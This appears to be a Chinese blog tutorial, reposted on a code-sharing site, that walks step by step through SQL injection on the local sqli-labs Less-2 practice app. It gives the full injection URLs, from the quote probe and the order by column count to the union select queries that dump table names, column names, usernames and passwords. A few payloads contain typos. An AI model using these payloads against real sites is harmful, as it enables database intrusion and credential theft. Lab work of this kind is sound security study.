码迷,mamicode.com
首页 > 数据库 > 详细

SQL注入流程图

时间:2019-08-06 11:02:12      阅读:129      评论:0      收藏:0      [点我收藏+]

标签:translate   password   for   输出   cat   span   form   数据   line   

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1

1 输入单引号   ‘            进行检验是否存在输入

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 ‘

 技术图片

 

2 输入 and 1=2    检验是字符型还是数字型

     http://127.0.0.1/sqli-labs-master/Less-2/index.php?  id=1%  and 1=2

报错,证明是数字型。

 

3 输入order by        查看这个网站所错在的表有几列

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=1 order by 3

使用二分法,如果输入错误则报错,如果存在就维持原状。

 

 

4   输入union select       进行 union select联合查询

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,3 %23

发现有2个输出位(为了union联合查询可以正常运行所以要使前方信息报错,后边用%23进行注释)

 

5  输入 version()     发现输出位查询数据库版本号

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,version() %23

  发现版本号为5.5.23(版本号5.0以上会专门生成一个叫information_schema的库,这个库里有数据库中所有表的名字)

 

6   输入group_concat(table_namefrom information_schema.tables where table_schema = database() %23    查询数据库所拥有的表名

 

http://127.0.0.1/sqli-labs-master/Less-2/index.php?id=-1 union select1,2,group_concat

(table_namefrom information_schema.tables where table_schema = database() %23

 

7   输入group_concat(column_name)%20from information_schema.columns where table_schema = database() and table_name ="users" %23     查询出users表里的列名

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2,group_concat(column_name)%20from information_schema.columns where table_schema = database() and table_name ="users"%23

 

8     输入group_concat(username) from security.users  查出users表中username列中 用户名

   http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(username) from security.users %23

 

9   输入group_concat(password) from security.users %23  查出user表中的password列中密码   

http://127.0.0.1/sqli-labs-master/Less-2/index.php? id=-1 union select 1,2, group_concat(password) from security.users %23

 

group_concat() 显示查询到所有的列

information_schema一个库

schemata:保存所有数据库的名字

tables:保存说有表的名字

columns:保存所有字段的名字

感觉不错的,点个关注,

评论区里留下你们想知道的。下一期给出你们答案。

 

 

SQL注入流程图

标签:translate   password   for   输出   cat   span   form   数据   line   

原文地址:https://www.cnblogs.com/biaochen/p/11307264.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!